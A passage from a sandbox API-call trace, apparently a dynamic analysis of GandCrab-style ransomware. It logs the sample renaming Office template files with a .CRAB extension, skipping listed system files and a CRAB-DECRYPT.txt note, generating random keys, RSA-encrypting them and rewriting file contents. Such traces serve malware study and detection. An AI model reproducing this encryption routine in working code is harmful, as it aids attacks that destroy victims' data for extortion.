	[0117.756] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda49a0) returned 1
	[0117.756] CryptGetKeyParam (in: hKey=0xda49a0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0117.757] CryptEncrypt (in: hKey=0xda49a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0117.757] GetLastError () returned 0x0
	[0117.757] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0117.757] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0117.757] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4660) returned 1
	[0117.757] CryptGetKeyParam (in: hKey=0xda4660, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0117.757] CryptEncrypt (in: hKey=0xda4660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0117.757] GetLastError () returned 0x0
	[0117.757] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0117.757] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328884[[fn=architecture]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0117.758] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0117.758] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0117.758] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x1697, lpOverlapped=0x0) returned 1
	[0117.863] VirtualAlloc (lpAddress=0x0, dwSize=0x16a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0117.884] VirtualAlloc (lpAddress=0x0, dwSize=0x16a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0117.899] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.899] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffe969, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.899] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x16a0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x16a0, lpOverlapped=0x0) returned 1
	[0117.899] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.900] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.000] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.000] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.000] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.000] CloseHandle (hObject=0x3fc) returned 1
	[0118.002] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.002] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.003] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.003] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.003] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.003] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.004] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.004] lstrcmpW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2=".") returned 1
	[0118.004] lstrcmpW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="..") returned 1
	[0118.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328893[[fn=BracketList]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox"
	[0118.004] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.004] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned 137
	[0118.004] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned 137
	[0118.004] lstrlenW (lpString=".glox") returned 5
	[0118.004] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.004] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.004] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.005] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned 137
	[0118.005] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned 137
	[0118.005] lstrcmpiW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="desktop.ini") returned 1
	[0118.005] lstrcmpiW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="autorun.inf") returned 1
	[0118.005] lstrcmpiW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="ntuser.dat") returned 1
	[0118.005] lstrcmpiW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="iconcache.db") returned 1
	[0118.005] lstrcmpiW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="bootsect.bak") returned 1
	[0118.005] lstrcmpiW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="boot.ini") returned 1
	[0118.005] lstrcmpiW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.005] lstrcmpiW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="thumbs.db") returned 1
	[0118.005] lstrcmpiW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.005] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.005] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox.CRAB") returned 142
	[0118.005] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328893[[fn=bracketlist]].glox")) returned 0x20
	[0118.006] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox", dwFileAttributes=0x20) returned 1
	[0118.007] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328893[[fn=bracketlist]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328893[[fn=bracketlist]].glox.crab")) returned 1
	[0118.015] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.016] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox.CRAB"
	[0118.016] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox.CRAB.CRAB"
	[0118.016] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.016] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.017] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.017] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.017] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.017] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.017] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.017] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.018] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.018] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.018] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.018] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.018] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.018] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.019] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.019] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.019] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e7c0) returned 1
	[0118.020] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda49e0) returned 1
	[0118.020] CryptGetKeyParam (in: hKey=0xda49e0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.020] CryptEncrypt (in: hKey=0xda49e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.020] GetLastError () returned 0x0
	[0118.020] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0118.020] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0118.021] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4a20) returned 1
	[0118.021] CryptGetKeyParam (in: hKey=0xda4a20, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.021] CryptEncrypt (in: hKey=0xda4a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.021] GetLastError () returned 0x0
	[0118.021] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0118.021] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328893[[fn=bracketlist]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.022] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.026] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.027] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xfba, lpOverlapped=0x0) returned 1
	[0118.040] VirtualAlloc (lpAddress=0x0, dwSize=0xfc0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.040] VirtualAlloc (lpAddress=0x0, dwSize=0xfc0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.040] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.041] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffff046, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.041] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0xfc0, lpOverlapped=0x0) returned 1
	[0118.041] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.041] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.045] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.045] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.045] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.045] CloseHandle (hObject=0x3fc) returned 1
	[0118.046] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.047] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.047] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.047] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.047] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.048] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.048] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.048] lstrcmpW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2=".") returned 1
	[0118.048] lstrcmpW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="..") returned 1
	[0118.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328905[[fn=Chevron Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox"
	[0118.048] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.048] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned 140
	[0118.048] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned 140
	[0118.048] lstrlenW (lpString=".glox") returned 5
	[0118.048] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.049] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.049] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.049] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned 140
	[0118.049] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned 140
	[0118.049] lstrcmpiW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="desktop.ini") returned 1
	[0118.049] lstrcmpiW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="autorun.inf") returned 1
	[0118.049] lstrcmpiW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="ntuser.dat") returned 1
	[0118.049] lstrcmpiW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="iconcache.db") returned 1
	[0118.049] lstrcmpiW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="bootsect.bak") returned 1
	[0118.049] lstrcmpiW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="boot.ini") returned 1
	[0118.049] lstrcmpiW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.049] lstrcmpiW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="thumbs.db") returned 1
	[0118.049] lstrcmpiW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.049] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.050] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox.CRAB") returned 145
	[0118.050] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328905[[fn=chevron accent]].glox")) returned 0x20
	[0118.051] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox", dwFileAttributes=0x20) returned 1
	[0118.051] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328905[[fn=chevron accent]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328905[[fn=chevron accent]].glox.crab")) returned 1
	[0118.052] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.052] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox.CRAB"
	[0118.053] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox.CRAB.CRAB"
	[0118.053] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ec00) returned 1
	[0118.053] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.054] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.054] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.054] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.054] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0118.054] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.054] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.055] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.055] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.055] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.055] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.055] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.055] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.056] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
